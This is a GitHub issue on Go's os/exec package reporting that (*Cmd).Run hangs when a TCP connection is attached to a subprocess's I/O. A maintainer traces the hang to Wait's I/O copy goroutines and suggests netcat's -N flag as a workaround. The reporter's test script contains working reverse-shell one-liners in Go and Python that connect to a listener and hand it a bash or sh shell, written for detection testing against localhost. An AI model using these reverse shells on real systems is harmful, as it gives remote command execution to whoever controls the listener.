Skip to content

os/exec: (*Cmd).Run doesn't return when TCP connection attached to I/O #73675

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
agenuise-s1 opened this issue May 12, 2025 · 5 comments
Closed
Labels
BugReport Issues describing a possible bug in the Go implementation. NeedsInvestigation Someone must examine and confirm this is a valid issue and not a duplicate of an existing one.
Milestone

Comments

@agenuise-s1
Copy link

Go version

go version go1.24.3 linux/amd64

Output of go env in your module/workspace:

AR='ar'
CC='gcc'
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_ENABLED='1'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
CXX='g++'
GCCGO='gccgo'
GO111MODULE=''
GOAMD64='v1'
GOARCH='amd64'
GOAUTH='netrc'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOCACHEPROG=''
GODEBUG=''
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFIPS140='off'
GOFLAGS=''
GOGCCFLAGS='-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build1371683791=/tmp/go-build -gno-record-gcc-switches'
GOHOSTARCH='amd64'
GOHOSTOS='linux'
GOINSECURE=''
GOMOD='/dev/null'
GOMODCACHE='/root/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/root/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTELEMETRY='local'
GOTELEMETRYDIR='/root/.config/go/telemetry'
GOTMPDIR=''
GOTOOLCHAIN='auto'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_amd64'
GOVCS=''
GOVERSION='go1.24.3'
GOWORK=''
PKG_CONFIG='pkg-config'

What did you do?

For detection test purposes we are trying to use this script to test a reverse shell written in Go language:

export RHOST=127.0.0.1
export RPORT=4444

echo "[*] Starting dummy listener for reverse shell..."
echo "exit" | nc -l $RPORT &

echo "[*] Running Go reverse shell..."
bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$RHOST:$RPORT\");cmd:=exec.Command(\"bash\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go"

echo "[*] Done!"

What did you see happen?

The script does not terminate (nor print echo "[*] Done!").

I have verified that the bash subprocess correctly terminates upon receiving exit command from the other end (nc), however the parent Go program keeps hanging for some reason.
Only when I kill nc, go program exits.

This is a problem because we are not able to automate the test correctly.

What did you expect to see?

The script correctly prints echo "[*] Done!" and terminates.

Note: this scheme works well with other reverse shell implementations, e.g. python:

python3 -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
@gabyhelp gabyhelp added the BugReport Issues describing a possible bug in the Go implementation. label May 12, 2025
@mknyszek mknyszek added the NeedsInvestigation Someone must examine and confirm this is a valid issue and not a duplicate of an existing one. label May 12, 2025
@mknyszek mknyszek added this to the Backlog milestone May 12, 2025
@mknyszek mknyszek changed the title os/exec: cmd.Run() doesn't return when TCP connection attached to I/O os/exec: (*Cmd).Run doesn't return when TCP connection attached to I/O May 12, 2025
@mknyszek
Copy link
Contributor

mknyszek commented May 12, 2025

Hm... I wonder if there's a deadlock when Stdin and Stdout are set to the same location? Off the top of my head, though, I don't see why this wouldn't work. Going by the docs, I think this should just cause the os/exec package to treat c like an io.Reader and io.Writer as needed and spin up goroutines to handle them. Maybe there's some problem with reading and writing to the connection simultaneously? I don't see why there would be. I don't see any documentation indicating that in the net package.

CC @neild maybe for insights into how the net package might be involved specifically.

@mknyszek
Copy link
Contributor

I poked at this a little more and I think I understand more of what's going on.

The data is all getting successfully passed along (I can interact with the remote shell no problem) but what's happening is that Wait (called by Run) is waiting for the goroutine created to handle stdin to exit. But it's blocked waiting on more data from nc. It waits for it to exit even if the subprocess has already exited.

This is actually documented, except it's documented on Wait:

// If any of c.Stdin, c.Stdout or c.Stderr are not an [*os.File], Wait also waits
// for the respective I/O loop copying to or from the process to complete.

(It's also documented on Stdin.)

Given the compatibility promise, I'm not sure there's much we can do here to make your script work out-of-the-box.

There is a workaround though. I see that if I pass -N to nc then it seems to work. By the man pages:

       -N      shutdown(2) the network socket after EOF on the input.  Some  servers  re‐
               quire this to finish their work.

@mknyszek
Copy link
Contributor

I am not certain there's anything else to do here, so closing optimistically. Let me know if you disagree.

@mknyszek mknyszek closed this as not planned Won't fix, can't repro, duplicate, stale May 12, 2025
@agenuise-s1
Copy link
Author

Using -N netcat option works well for me! Thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
BugReport Issues describing a possible bug in the Go implementation. NeedsInvestigation Someone must examine and confirm this is a valid issue and not a duplicate of an existing one.
Projects
None yet
Development

No branches or pull requests

4 participants